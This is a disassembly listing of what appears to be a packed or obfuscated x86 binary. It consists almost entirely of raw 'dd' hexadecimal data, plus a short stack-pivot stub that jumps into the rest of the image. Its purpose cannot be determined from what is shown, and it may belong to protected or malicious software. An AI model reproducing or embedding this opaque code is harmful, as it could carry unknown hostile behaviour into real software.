		dd 0EB008B09h, 0B8E4h, 6ACF0000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 40CFC356h
		dd 0AFE8C2E3h, 0F919EFF9h, 0DE9h, 0CBF8FF00h, 0C36CFE6Ch
		dd 5CE2237Dh, 11E90909h, 0BA000000h, 0A00166DEh, 5A98757Bh
		dd 7CC71FF7h, 0B52740F3h, 61F585C7h, 13F0623h, 3CE90001h
		dd 1, 4Eh dup(0)
		dd 83000000h, 1E2961BDh, 840F0106h, 4E0h, 4185C6F9h, 43061E20h
		dd 0BE9h, 6171CC00h, 0C13A4FD6h, 0BF7BF266h, 841F7268h
		dd 0FE9AEh, 95410000h, 0BCB14652h, 0BD5911Dh, 502B961Dh
		dd 24048124h, 3E21B183h, 88F0Fh, 8C0F0000h, 2, 0B5FF6160h
		dd 61E3291h, 0CE9h, 0DEBD2500h,	0F155FE07h, 9B6A7Ah, 0D1858D57h
		dd 0F062178h, 1489h, 0FE900h, 1F10000h,	5FE3739h, 7E75A972h
		dd 987818E5h, 0E9D0FFC7h, 5, 71A4461Fh,	1858929h, 60061E04h
		dd 66DA8B66h, 61B0B6BAh, 4185C6F8h, 50061E20h, 4E86160h
		dd 56000000h, 50A8ADADh, 0F525052h, 84h, 50310F00h, 5A310F52h
		dd 0F585A58h, 6EB86031h, 502129E5h, 5A310F52h, 585A6158h
		dd 8B666050h, 6810FC2h,	0F000000h, 8Ah,	448B6100h, 14E90424h
		dd 0B3000000h, 4E134B0Ch, 742BEA45h, 0B9A8C4EAh, 12FF82A9h
		dd 8BFAE550h, 0F525000h, 68Fh, 890F00h,	0F000000h, 0E9525031h
		dd 7, 89118BD2h, 0F98F8E6h, 5A616031h, 89585A58h, 0F042444h
		dd 0C82h, 6850F00h, 50000000h, 5A310F52h, 0F605858h, 38Dh
		dd 0F78B6600h, 0BE9h, 19F62E00h, 10D608B9h, 8F3A459Eh
		dd 91B5FF61h, 0FC061E32h, 78D1858Dh, 0E9F90621h, 12h, 35B4A45Bh
		dd 9B1780B2h, 0D5F50F3Fh, 0FEFF3E57h, 0D0FFEB1Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 47C35545h, 89C11ED2h
		dd 1E0E3D85h, 27B96006h, 0B0262FDCh, 4E86120h, 2F000000h
		dd 50F08FA8h, 0B8666052h, 5B53E102h, 0F310F61h,	683h, 0F525000h
		dd 5A585A31h, 52505058h, 5E860h, 0A3520000h, 596E473Fh
		dd 60310F61h, 8B585A61h, 0E9042444h, 14h, 0E9B009D5h, 0B0C5AA3Ch
		dd 56CF24D5h, 797EA1CEh, 0A570669Fh, 12E9008Bh,	0A9000000h
		dd 94113C9Eh, 9F6EF9FCh, 0AA5693C5h, 7A9895E7h,	2444897Bh
		dd 5E86004h, 20000000h,	0BA69B8FEh, 66595A50h, 61F031BEh
		dd 80FC6058h, 0FF619BC6h, 1E3291B5h, 0DE9FC06h,	0D7000000h
		dd 47783D39h, 0E19FEA71h, 0F8092D86h, 78D1858Dh, 810F0621h
		dd 1, 0D0FFFCFCh, 0A98589FCh, 6A061E1Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0CF84C357h
		dd 0D9C421B6h, 0C6CEE992h, 1E204185h, 0CE95006h, 47000000h
		dd 0B708D0F6h, 0C9F86DD4h, 687F9187h, 401D3C0Dh, 830F5250h
		dd 6, 8E0Fh, 310F0000h,	60F08A60h, 585A6161h, 49240481h
		dd 0F5577FA0h, 2F1B5FFh, 8E9061Eh, 7D000000h, 601CD3F3h
		dd 8D87CAE5h, 1E38FA85h, 16800F06h, 0E9000000h,	11h, 20466332h
		dd 30E42EC4h, 33531708h, 0D74365A2h, 0FD0FF9Ah,	181h, 8589F900h
		dd 61E0461h, 1CAE9F9h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0B5EB44C3h, 0F34E871h
		dd 1D8Dh, 178E0F00h, 0E9000000h, 12h, 83BB8F4Eh, 38AAF125h
		dd 779FD083h, 0CA09CF7Dh, 5050ED93h, 13800F52h,	0E9000000h
		dd 0Eh,	0A4D91E5Ah, 0FE8E0542h,	1311551Eh, 310F69ACh, 6E960h
		dd 24FC0000h, 0BB40B714h, 8A0Fh, 5A610000h, 242C8958h
		dd 8860Fh, 66600000h, 0B072D6BBh, 0EC8B61E8h, 0AE9h, 6971E400h
		dd 0D1E95F11h, 83BB5192h, 8E0FFCC4h, 9,	66D08B60h, 0A644C381h
		dd 8D0F6061h, 14h, 0FE9h, 601E6300h, 0A6878897h, 90F7E537h
		dd 0E7B292F8h, 0EE9h, 0B6350000h, 94B748CFh, 17184A0Ah
		dd 0E897BC23h, 0
		dd 0B4EA815Ah, 0C7062367h, 0FC45h, 0BA830000h, 61E2961h
		dd 98840F01h, 52000000h, 0F6A006Ah, 40192FFh, 895A061Eh
		dd 23627782h, 7B9A8D06h, 52062362h, 12803C7h, 50530000h
		dd 0E3D92FFh, 525A061Eh, 627B9A8Dh, 0FF530623h,	236277B2h
		dd 6192FF06h, 5A061E04h, 5074C00Bh, 627B9A8Dh, 7B8D0623h
		dd 81C93324h, 104F9h, 41D47400h, 2E393C81h, 75455845h
		dd 39348DEEh, 8D0C752Bh, 1E0A21BAh, 0C4D8B06h, 0C032A4F3h
		dd 75FF52AAh, 21828D08h, 50061E0Ah, 1EA992FFh, 0B5A061Eh
		dd 0C7A075C0h, 1FC45h, 7EB0000h, 0FC45C7h, 61000000h, 0C9FC458Bh
		dd 0E90008C2h, 12h, 0EBE03900h,	4FD8C861h, 8C13F18Ch, 2E2BD4F5h
		dd 0E9F95EA1h, 14h, 0C1E1A0E7h,	91D740C3h, 0A3C1C1EFh
		dd 11C8274h, 994230BEh,	12E8D28Bh, 0F000000h, 0E08A65F3h
		dd 53A1B12h, 0AA157076h, 454EA24h, 38A0F19h, 66000000h
		dd 0F59D98Bh, 0C181D1B7h, 5AE9h, 11E9h,	0AA05E600h, 0DFBB4B74h
		dd 4EFC1321h, 0E5BC59B8h, 89BE6AAEh, 81000016h,	2B4939E3h
		dd 0B631FF4Dh, 0DBBF587Ah, 8145808Bh, 680205C0h, 13E839h
		dd 0A2630000h, 22108AF5h, 50BF78C5h, 97AB2DE8h,	623E902Dh
		dd 815FFC9Ah, 0B47E56F0h, 81D18A38h, 0CF3F44E8h, 6E878h
		dd 0CF4F0000h, 63EC144Bh, 803915BFh, 60505B6Bh,	25E78166h
		dd 61DF8B9Bh, 6E8018Fh,	0AA000000h, 0EE1F0848h,	0D8B70FDBh
		dd 4E9835Fh, 0C8E0Fh, 7E90000h,	90000000h, 4B14C88Dh, 0F4EC39Bh
		dd 0FFFF8085h, 0DE8B66FFh, 69F08D8Dh, 0FB8B0623h, 23758D89h
		dd 8B60061Eh, 1E19D595h, 0C5E08106h, 6133BF29h,	324D85C7h
		dd 6958061Eh, 95090000h, 61E0035h, 316985C7h, 61Eh, 0FFFC0000h
		dd 1E2931B5h, 0C9958906h, 0FF061E2Bh, 1E16B995h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 7782F18Dh, 0BF0F6B86h, 68C0FC7h, 89000000h, 1E2045B5h
		dd 0FF006A06h, 1E26C195h, 0EBC08B06h, 0B3B4FA0Eh, 0F439AC03h
		dd 0ED3B2063h, 0E9745EF6h, 266h, 0D98C6660h, 0F04C1F6h
		dd 3584h, 0FF016A00h, 1E02F1B5h, 0D1858D06h, 0FF062178h
		dd 418589D0h, 8B061E00h, 0CEFC1FEh, 6000068h, 6A006A20h
		dd 0D685702h, 0FF000100h, 1E004195h, 32E906h, 85C60000h
		dd 61E2041h, 30DF6856h,	0B5FFA9C5h, 61E3291h, 78D1858Dh
		dd 0D0FF0621h, 2018589h, 858D061Eh, 61E2B79h, 6A406A50h
		dd 95FF5605h, 61E0201h,	0C361h,	2 dup(0)
		dd 8B520000h, 428B60D4h, 86858908h, 8B06236Ah, 85890C42h
		dd 6236A7Eh, 8910428Bh,	236A8285h, 0BCB58D06h, 8D06236Ah
		dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 6A86B58Bh, 858B0623h
		dd 6236A7Eh, 6A82BD83h,	0F000623h, 784h, 0E9068900h, 2
		dd 0CF0688h, 0
		dd 52000000h, 8B60D48Bh, 85890842h, 6236A86h, 6B0DB58Dh
		dd 858D0623h, 5B7E35h, 5A61D0FFh, 6A86858Bh, 4C20623h
		dd 86858B00h, 8B06236Ah, 86858900h, 0CF06236Ah,	0
		dd 0E3B58960h, 8906236Ah, 236ADF85h, 0ED858D06h, 8B061E20h
		dd 85894440h, 6236B1Ch,	6B52B58Dh, 858D0623h, 5B7E35h
		dd 8B61D0FFh, 236AE385h, 9D8BC306h, 6236ADFh, 3C43B70Fh
		dd 5B8BD803h, 0DF9D0378h, 8B06236Ah, 0B5032473h, 6236ADFh
		dd 207B8B56h, 31C738Bh,	236ADFBDh, 0DFB50306h, 0FC06236Ah
		dd 41FFC983h, 6AE39D8Bh, 178B0623h, 6ADF9503h, 0C7830623h
		dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h,	43FFFFFFh
		dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
		dd 86048B0Fh, 6ADF8503h, 85890623h, 6236AE3h, 0CE8BF08Bh
		dd 0BD81C18Bh, 6236B1Ch, 0C0300000h, 0D850Fh, 0E8C10000h
		dd 0FFC2514h, 8E90000h,	0C1000000h, 0F82512E8h,	8B00003Fh
		dd 236B1CBDh, 70C8306h,	7148B06h, 8124C28Bh, 0C18B813Ch
		dd 57840Fh, 0BD810000h,	6236B1Ch, 0C0300000h, 0D850Fh
		dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
		dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
		dd 81000000h, 236B1CBDh, 30000006h, 0E840FC0h, 25000000h
		dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 6236A8Ah,	9A98589h
		dd 858D061Eh, 6236B20h,	33318589h, 858D061Eh, 6236AE7h
		dd 81D8589h, 0CE8061Eh,	0FC000000h, 5F3AF5D2h, 0DB89DCD8h
		dd 0F936441h, 8B58FBBFh, 0F3C081F9h, 0E8000062h, 13h, 0A3E81696h
		dd 6E1EA98Dh, 6A6A6336h, 7CE3BAABh, 0FF6BECFh, 68Dh, 840F00h
		dd 5A000000h, 68h, 9CB06000h, 0C3FDE81h, 5E611A25h, 11E9h
		dd 0AEAB1E00h, 4B076150h, 0FCE0D4CCh, 0DCCA9805h, 0C8B2703h
		dd 2DB9BA30h, 0E9810B1Bh, 2415D019h, 0E981D48Ah, 662D47A3h
		dd 0C181D98Bh, 1A688ECCh, 8A5EBA66h, 0E8300C89h, 9, 0F47D629h
		dd 0FF502C0Dh, 0FCB353D0h, 0EE815F5Ah, 206222D9h, 12E8h
		dd 0FB416800h, 0E57C01EAh, 0DB29D36Eh, 9D4901A1h, 8BA900ADh
		dd 0C6815FDEh, 206222D5h, 0F9BB6660h, 0BE83Bh, 0FB360000h
		dd 28350AE1h, 7A13F7AEh, 81615924h, 0FF9DF4FEh,	7F850FFFh
		dd 0FFFFFFFh, 188h, 4EBFC00h, 65946162h, 544E9h, 0A05DE600h
		dd 0C968102Bh, 0EEB73954h, 16DF5E79h, 3CE186A1h, 899486C7h
		dd 0B1CC41E4h, 0D4EF6411h, 0FF1A8F52h, 4040B57Ch, 3F568EA4h
		dd 4B003F48h, 25BFD50Dh, 283F483Fh, 0AF939FF7h,	78BD316Fh
		dd 0EA0445Ah, 71B63F48h, 0F0730AC2h, 5F974F31h,	24D29B49h
		dd 0C776BB39h, 0D8227C8h, 0C4A64FF2h, 7E9882Bh,	0F1AC364Fh
		dd 0FCA54342h, 0E5FE961Ah, 1FA09F46h, 0E228AB5Ah, 46837A11h
		dd 0B7145F3h, 1BDA5D5Ch, 46EB8BA6h, 6D30B6D1h, 0A550F28Bh
		dd 0AB394F87h, 0AB3924D4h, 234AEB8Eh, 3249274h,	0C66B0BBDh
		dd 0F2B33651h, 0D4677A10h, 70713924h, 0B940592Ah, 0A65516F8h
		dd 0C5D2ECEAh, 7EA581h,	70890000h, 0BD7524CDh, 301FBD54h
		dd 9B05250Fh, 0AB4AEDECh, 66AF33C9h, 2A2B3925h,	407775E4h
		dd 13081C5h, 7A000000h,	0E2CF573h, 0AC98BC77h, 80EA670Ah
		dd 4D2FDE8Eh, 36FB7C95h, 41E08887h, 7E27C65Fh, 0CA60039Ch
		dd 257230B4h, 0BAE12639h, 0F6A33FD8h, 4D939014h, 0C24DC41Dh
		dd 658C1BCEh, 95ABE37Bh, 3925144Fh, 1DC5EDFEh, 1C907A4Ch
		dd 5FA528D7h, 0EE8E0FADh, 90AB2047h, 0FBCF44EDh, 2238F273h
		dd 3924D2C2h, 46284F94h, 0EF6F78Eh, 389C7624h, 48C8EABBh
		dd 13C233ECh, 8B779414h, 0D644BFC2h, 0D253355Ch, 56D789CFh
		dd 60031E93h, 8FB433CAh, 8BF5B5DEh, 2539558Fh, 44E40139h
		dd 0D3FABB9Dh, 8F31CAACh, 0B75404E6h, 0B809A071h, 0EF760E14h
		dd 0D3C17D2Ch, 8C81C5C6h, 7Ch, 0E10CD970h, 0CED8E6Ah, 0F273A55Dh
		dd 7C954D2Fh, 0B43A39F8h, 0A14342F1h, 9D9A1E00h, 5D00A557h
		dd 0AD28CDE8h, 0C767660Fh, 587F4022h, 975EDD76h, 0C092E279h
		dd 0ED6B6FD2h, 20C35C3Eh, 65889F81h, 0BD07B500h, 243BBEBDh
		dd 0E769F929h, 0AC8EB558h, 2903494Ah, 0C1307613h, 81C5A8D3h
		dd 578Ch, 0D6577000h, 73AC6413h, 0B44D2FF2h, 38516F32h
		dd 6042F1B0h, 2EE026C5h, 9B6FE489h, 0D154F573h,	466D2E10h
		dd 0D313CE64h, 29C53924h, 0B7CD6D10h, 3924D32Dh, 0DBBDE429h
		dd 0A2E86B1Ah, 0C5D43533h, 2A407881h, 3924C6BAh, 0A8579Ch
		dd 8, 842DCBE4h, 7A32E1A2h, 4E30F173h, 917332B5h, 0ABC0223h
		dd 6F4ABF66h, 489CB2CAh, 0E3924D3h, 0ED84A2C9h,	0D9FD41CDh
		dd 0D2F09F22h, 439D21BCh, 0E2273Fh, 0A81DC467h,	694BEA8Dh
		dd 78D0FD3h, 7031B833h,	0B372F58Eh, 286E6FD1h, 68AE4D4Eh
		dd 0FD7233B6h, 0D4405FE2h, 0D25D54F1h, 41DABCE3h, 9415F7BEh
		dd 16994B91h, 62DF477h,	2E2DCFE8h, 0CC378117h, 0FEADD4CAh
		dd 4CB3B189h, 3A6C87E3h, 0B6000001h, 0FAA73B54h, 0C4AD8C4Bh
		dd 0EF3990A6h, 4CE73F42h, 0F48E2340h, 2194CC49h, 0A841234Ah
		dd 41E08405h, 2779E5Fh,	7F9D44E7h, 74CE24E8h, 0AF5EE6A8h
		dd 0F9B134CDh, 67901E3h, 0E9105533h, 3D838607h,	0D449E88Bh
		dd 0E42EFEFCh, 60B787h,	0B3010000h, 0D2579B8Ah,	793C7713h
		dd 161E3452h, 0E03925CCh, 7BD88B45h, 587F6CC9h,	3E27BE76h
		dd 45DE1C5Dh, 0AF3531E0h, 1C3924F9h, 5BF4D69Bh,	0AF3315DCh
		dd 0CA926CB2h, 2C1183C9h, 6E102947h, 0E8FE1CCBh, 3924FA4Ch
		dd 9E5BE700h, 0D84CFBBCh, 0D95C7593h, 0CC891918h, 57A29EAh
		dd 8CFBh, 86B3C900h, 33B6CFEDh,	6DA5C372h, 1AD7EAD6h, 29D83612h
		dd 43CFC82Dh, 1193B03Fh, 30AD6E50h, 6113D827h, 4E30570Dh
		dd 0FE7332B5h, 670AABC4h, 6F36B9B8h, 0E33ED58Dh, 8C5DA335h
		dd 7D8D483h, 0B8330721h, 0E902D319h, 0F9BA9C59h, 9A84B4Ah
		dd 0D31D54EBh, 0B21AEE4Dh, 86B38E03h, 0ABB9CFEDh, 0AB392B0Ch
		dd 70D30810h, 9714459Ah, 9C2BF93Fh, 33153C88h, 6C4E179Ah
		dd 2597DDFEh, 2B415F14h, 33081239h, 10D55A73h, 33A8ED61h
		dd 1586B35Fh, 2AEBCD90h, 75ADE503h, 24D2855Fh, 32B4D139h
		dd 9D99486Fh, 3F4840C7h, 4D97ADE5h, 9330166h, 5CA115C4h
		dd 0BF5EE17Ah, 0DA4F7623h, 93753CBFh, 50AE44DBh, 0B2882C9Ah
		dd 16510703h, 7A7796B8h, 36FF8234h, 6203A6C1h, 0A140E780h
		dd 0EA3051BFh, 0C096B538h, 4A10B0FDh, 0B8F2678Eh, 795B1E9Fh
		dd 670A09B8h, 769D40E6h, 30C94h, 7FDA0000h, 33EE73A7h
		dd 6C35B851h, 0A84DF18Ah, 0E8952DC6h, 25C86D06h, 6005AA43h
		dd 9F46E57Eh, 0E18024BDh, 1FC666FFh, 8953003Dh,	4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 2404895Ch, 81E28952h, 4C2h
		dd 4EA8300h, 5C241487h,	68241C89h, 4A43h, 52243C89h, 0C24F6668h
		dd 0EA815A36h, 0FFFFFFFFh, 6748E281h, 0C2816DCFh, 64FC1D2Ch
		dd 0F6DFEA81h, 0D389839Ah, 3C8B545Ah, 4C48324h,	4EC81h
		dd 1C890000h, 24348124h, 63E0FA7h, 8108478Fh, 0FA70877h
		dd 34FF063Eh, 0C4815F24h, 4
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_536D7B
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0B4318117h, 7232B8C0h, 0C5030623h, 4777E0FFh, 152B2365h
		dd 79A308FBh, 0E4A643CEh, 305B18FAh, 9DF71915h,	8836294Fh
		dd 514A1FF5h, 2BFC3B38h, 0FA5738C8h, 815F73B7h,	29DF04B6h
		dd 53251C79h, 9D156F17h, 550D44F8h, 0A4A3F3Fh, 1D485676h
		dd 444FEB9Ah, 0A042A7F6h, 7FB1F303h, 3B0A0717h,	7EDC7B6Bh
		dd 8BC5FDBAh, 8B7980F9h, 2A9B3287h, 763545CCh, 866B21B8h
		dd 3D6A1597h, 71BF3DBBh, 511D32BAh, 386662BAh, 1B4732BAh
		dd 0B2FBF1E2h, 0BAD516FEh, 27EC16FEh, 7B7432BAh, 9C2F1EAh
		dd 8BAFB7EDh, 0D348E902h, 3B4732B6h, 500813BDh,	0B3BA05C6h
		dd 0C1C20AA1h, 3B76B4B5h, 616832BAh, 3858DBE0h,	0B58132BAh
		dd 3B4732BBh, 721EB146h, 3BD72CA5h, 3BAAB6B5h, 0D28832BAh
		dd 3B3A3191h, 0D34832D0h, 3B8E32B9h, 66846F9Ah,	3F875E33h
		dd 3FF5763Bh, 3BE832A6h, 16B767FFh, 89A30D6Fh, 0C911BEC6h
		dd 0AD058BDCh, 3B473F52h, 4C2257BAh, 1F757985h,	8F776586h
		dd 648CD07Ch, 4800B737h, 0D29C3499h, 5381F94h, 3B4BDBEAh
		dd 0B90B32BAh, 0BA12A2F2h, 5EA7359Fh, 3FFD61D4h, 27BFBF9Eh
		dd 511B11C9h, 386662BAh, 1B4732BAh, 0B2FBF1E2h,	0BAD516FEh
		dd 20EC16FEh, 7B7432BAh, 0A3F4F1EAh, 9A4B1AF7h,	6BDEA10Ch
		dd 3B54DAE8h, 463B32BAh, 63796F40h, 5673EF46h, 0E05776DFh
		dd 5C4566B9h, 61CEB919h, 69DE03B5h, 5A2703B5h, 63F96AE0h
		dd 0D3F53633h, 3BE832B3h, 0C2C5FFDAh, 7C764473h, 6183832Fh
		dd 284FA745h, 3B2D34A4h, 3BA0DAEAh, 63F132BAh, 7F616A79h
		dd 7FF5369Eh, 3B2F369Eh, 6B5D32BAh, 0D2544679h,	3B4732B3h
		dd 8F903FCEh, 0DB8A8B30h, 3428B947h, 3B74233Fh,	3B36DBBAh
		dd 9FC532BAh, 484B8D69h, 0F69638DFh, 344AE2A2h,	8AD132BAh
		dd 0CAFB96A2h, 7BF23892h, 0C510668Ah, 869E7C38h, 3D902FC3h
		dd 0B84E47BAh, 25881707h, 22A532BCh, 0FB6361EAh, 3B704802h
		dd 0D2BFBBBAh, 0B61B2CB6h, 1B220827h, 6094CDBCh, 1E1EB1E2h
		dd 3BD72C91h, 68B825CEh, 3B704802h, 0D2BFBBBAh,	0B61B2CB6h
		dd 1B271B27h, 6094CDBCh, 69A358E2h, 3BD13152h, 0F8B212BAh
		dd 1F20BBE0h, 1F7EB3BEh, 3B1D25BEh, 0F8DC70BAh,	0EE1208F1h
		dd 0B05385B5h, 0BAB7607Ah, 61D91A70h, 4850AF37h, 3CD23499h
		dd 0E31D32BAh, 0B80FCB03h, 3418FD91h, 3BA33E32h, 3BD6DBBAh
		dd 2DA32BAh, 0A34D3AF8h, 2ABFBF74h, 5D1B11DBh, 0EB71C931h
		dd 8FC6F83Bh, 0CC2233F5h, 632DCA15h, 0BFE7F2B1h, 3B7432F6h
		dd 3B3A2153h, 82E3B1BAh, 96B94C8Dh, 3902C458h, 0A366300Fh
		dd 0F3D59730h, 7750AF37h, 0D9F534A4h, 0D374631h, 3B1D3102h
		dd 21033DBAh, 5B4732BAh, 3BA33C53h, 8B8645BAh, 0D2A0736Dh
		dd 7FDD919Eh, 805B6B4Dh, 7A86E9A1h, 0C76DCDDBh,	486BAF37h
		dd 0ED283499h, 5AC0B737h, 0BA8E3499h, 0C4A8407Ch, 34FA396Ah
		dd 3B1D523Eh, 0B676B9BAh, 250B8A27h, 6AA358BCh,	3BD13152h
		dd 0F8B112BAh, 1F38BBE3h, 1F7EB3BEh, 3B1D28BEh,	0F8DF73BAh
		dd 4AD06D25h, 0D3D66760h, 3BD132A8h, 37EE6EEBh,	72B51576h
		dd 0C70987E7h, 4448B6D4h, 34679404h, 0D84732BAh, 304B7C96h
		dd 9084AAFCh, 0A8788A25h, 832E69C9h, 3B3A32BBh,	0C4D3B9DCh
		dd 0A13BF59h, 0B64111C9h, 18C2233Fh, 5101CDBCh,	380060BAh
		dd 1B7432BAh, 0B260F1E0h, 0BA1916EEh, 238A16FEh, 794732BAh
		dd 2B14F1E8h, 308DACF3h, 6B6C3D7Ah, 0B17432BAh,	83A7BF6Dh
		dd 5B1B2CF6h, 3B8E2252h, 8E9066BAh, 45907DFFh, 7EE6B4A1h
		dd 0B754B873h, 648DB976h, 5AECB9DCh, 3B1D3102h,	516DCDBAh
		dd 38AF60BAh, 1BA332BAh, 0B28BF1E0h, 0BAEC16EEh, 277016FEh
		dd 793A32BAh, 0E02AF1E8h, 841D4E5Dh, 78DB583Fh,	48B98F37h
		dd 0B65C3499h, 3DCB444Eh, 70284F02h, 86BF0130h,	101B2CB6h
		dd 0AF37F375h, 3499486Bh, 0B737ED28h, 34995AC0h, 407CBA8Eh
		dd 396AC4A8h, 523E34FAh, 0F305E983h, 0FC08BA4h,	0C38BF7B7h
		dd 8B48C580h, 2830FC0h,	8B000000h, 79BD83D1h, 61E1Dh, 0BD830975h
		dd 61E2B25h, 50197400h,	0B8C08B53h, 47Ah, 0D198589h, 9D8D061Eh
		dd 620ACA1h, 585BD3FFh,	2B25BD83h, 7400061Eh, 0B8535017h
		dd 47Ah, 0D198589h, 9D8D061Eh, 620A942h, 585BD3FFh, 6A1DB6h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0AECF6CC3h, 92FEBAACh, 8DC08BF9h, 2378548Dh,	0E1958906h
		dd 89061E01h, 1E23758Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0C7D8D066h, 85C70F5Fh
		dd 61E324Dh, 6590h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 58C35646h, 750DCE4Ah,	3B19533h, 8589061Eh
		dd 61E0955h, 316985C7h,	61Eh, 0BD010000h, 61E1CF9h, 415B5FFh
		dd 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 1F8BD0C3h, 58C0F0Bh, 0BF000000h, 2B964571h
		dd 16B995FFh, 830F061Eh, 1, 0FF006AF8h,	1E26C195h, 0EBC08B06h
		dd 0EF32E01Eh, 3BB3CCD8h, 53139E76h, 8B0E26Fh, 10966097h
		dd 1F6BFCDEh, 0A7004B2Bh, 0E86B51A2h, 0Dh, 6030ECF3h, 0E6ED2BA9h
		dd 800FA4C4h, 5921B08Ah, 0C659D23h, 0C181061Eh,	710Bh
		dd 1CB1858Bh, 0F68061Eh, 0B800001Ch, 30E26459h,	0F18B665Fh
		dd 858B31FFh, 61E0111h,	0A1B58B5Ah, 81061E1Dh, 0C4204EC2h
		dd 49B58B01h, 81061E04h, 47211F2h, 94CE813Bh, 8120844Ah
		dd 9F7AB6EAh, 0FD858B37h, 89061E1Ch, 13E911h, 19120000h
		dd 0C51F055Dh, 0A79F0013h, 991A332Bh, 0A52B2187h, 2E983DBh
		dd 13E9h, 2AEA3A00h, 0A26063B4h, 76F0DF04h, 15C21EB5h
		dd 9034EA84h, 0B5294949h, 61E1DC9h, 0F01EF83h, 1985h, 8DB58B00h
		dd 0E9061E2Eh, 1Fh, 0F2B25FD4h,	588218EFh, 0A9C64D76h
		dd 0F7B02A41h, 0FFFF67E9h, 31A2C7FFh, 32781217h, 0EBF353D7h
		dd 0B35D7708h, 0E7339C6Ch, 0D1BE977h, 0E7680000h, 0E906237Ah
		dd 0FFFB0637h, 237C0B68h, 62DE906h, 6668FFFBh, 0E906237Dh
		dd 0FFFB0623h, 237EA568h, 619E906h, 4468FFFBh, 0E9062380h
		dd 0FFFB060Fh, 23827268h, 605E906h, 0B368FFFBh,	0E9062383h
		dd 0FFFB05FBh, 2384D668h, 5F1E906h, 3CC5FFFBh, 4BF10C81h
		dd 961A35AAh, 0B83F5ACFh, 0C46984F9h, 796BAC21h, 0AF24C96Eh
		dd 0DE530E94h, 97E23C3h, 35AA4BEEh, 61839935h, 0F53F484Bh
		dd 1C546840h, 4367D385h, 433F08A9h, 3924FAA1h, 0C2C170B5h
		dd 0FB94763Fh, 0A44B978h, 0FB28BCD2h, 0E92E3924h, 0B5BE7B3Ah
		dd 17D88197h, 86BE3F43h, 6DC7470h, 0EE9DE233h, 0BD53357Ah
		dd 3306DD23h, 0D5A6EC89h, 0DC5D879Dh, 0B4F93306h, 0C64B4905h
		dd 510487E3h, 4E000000h, 0CFED86B3h, 42FE4CB9h,	0E589A23Fh
		dd 0A7B13349h, 60A53306h, 0E7965739h, 0F7102E73h, 0DCEB071h
		dd 0FAE67C5Eh, 0B23306A7h, 6260CF15h, 0A587E3FFh, 9B8D576Dh
		dd 1CC03306h, 420DFC1Dh, 2BDA1F93h, 0A783h, 192F6700h
		dd 33069DCBh, 0DF97468Bh, 0D359F073h, 7009EB12h, 0AF482ACFh
		dd 0EA83650Ch, 11299E47h, 3924D7A0h, 46EF8DA6h,	0F5F4A364h
		dd 233EB372h, 0A6FFE180h, 105A8893h, 6E8892Ch, 0D261C845h
		dd 243A587Fh, 3F4233A5h, 0E6C1367Bh, 0FFA64653h, 17355C1Dh
		dd 26C61901h, 4664A939h, 70E5882Dh, 4B0DD055h, 0EC27F0D6h
		dd 0E856DEE0h, 8C00000Ah, 0BAD54AF7h, 0E3FE7332h, 102BA041h
		dd 3853C869h, 3C7DF2B7h, 0FBBE3F4Ah, 2AD76B86h,	51149AB5h
		dd 773EC1DCh, 50660202h, 3F484C94h, 73350DC2h, 9FBA2FF2h
		dd 0CE0551Ch, 971586B3h, 0D0B273F6h, 0A3C1E80Fh, 5F41E48Ah
		dd 9D7F26C6h, 0E806B5DCh, 42FE33D2h, 220653Fh, 7424166Bh
		dd 0A53DB493h, 2E5516F8h, 7E9882Fh, 1FB59746h, 330686C1h
		dd 99084EEBh, 87E4209Bh, 0FB54h, 0F0739E00h, 0E70ED759h
		dd 697B91C9h, 0ED3924D2h, 7E17F9A8h, 0FD1634F9h, 13D4B67Fh
		dd 24D38E14h, 0D805AC42h, 0DD603924h, 0E1849F14h, 0F48B2240h
		dd 28A54E58h, 8A0A7EFBh, 0E420963Ah, 3FFA5335h,	0F7D1432h
		dd 763FBD94h, 3856D394h, 314FFEDFh, 41F8AE1Bh, 7331C83Fh
		dd 3565D37Bh, 83C83CEBh, 7606330Eh, 6068460h, 2A74733h
		dd 0CEEB5F20h, 365D8429h, 0B57CFF18h, 456312D3h, 26AFDA2Fh
		dd 6381C639h, 5595F5CCh, 25D49D60h, 36B6CF07h, 1DCC8D6Fh
		dd 5FD4991Eh, 3CFEA344h, 0EC27C4F7h, 0C43DC5C7h, 68000009h
		dd 8EA91EDBh, 0B7D247EEh, 0DCF76C35h, 41F945Dh,	849BE63h
		dd 0C76A0B16h, 0EEAB3752h, 15D85E79h, 43E285A0h, 1C32CECEh
		dd 3F484EC8h, 5401D98Eh, 16F8B93Bh, 6A7A655h, 9BB4EE63h
		dd 0B475571Ah, 0C37233B5h, 6A821C4h, 51E3C63h, 3EC1C07Dh
		dd 7F53C877h, 4F31F073h, 1C1C33B6h, 0FAF04C8Ch,	6E2BB7B6h
		dd 2FA4CB8Ch, 3DA7BDF5h, 8E392535h, 0A16244E9h,	7A39E82Dh
		dd 7E94B2BFh, 3F435B8Fh, 5CF2D419h, 33070C85h, 0D7468C29h
		dd 87E396D9h, 63592h, 1C54DC00h, 24D2DE06h, 0DA1B6F39h
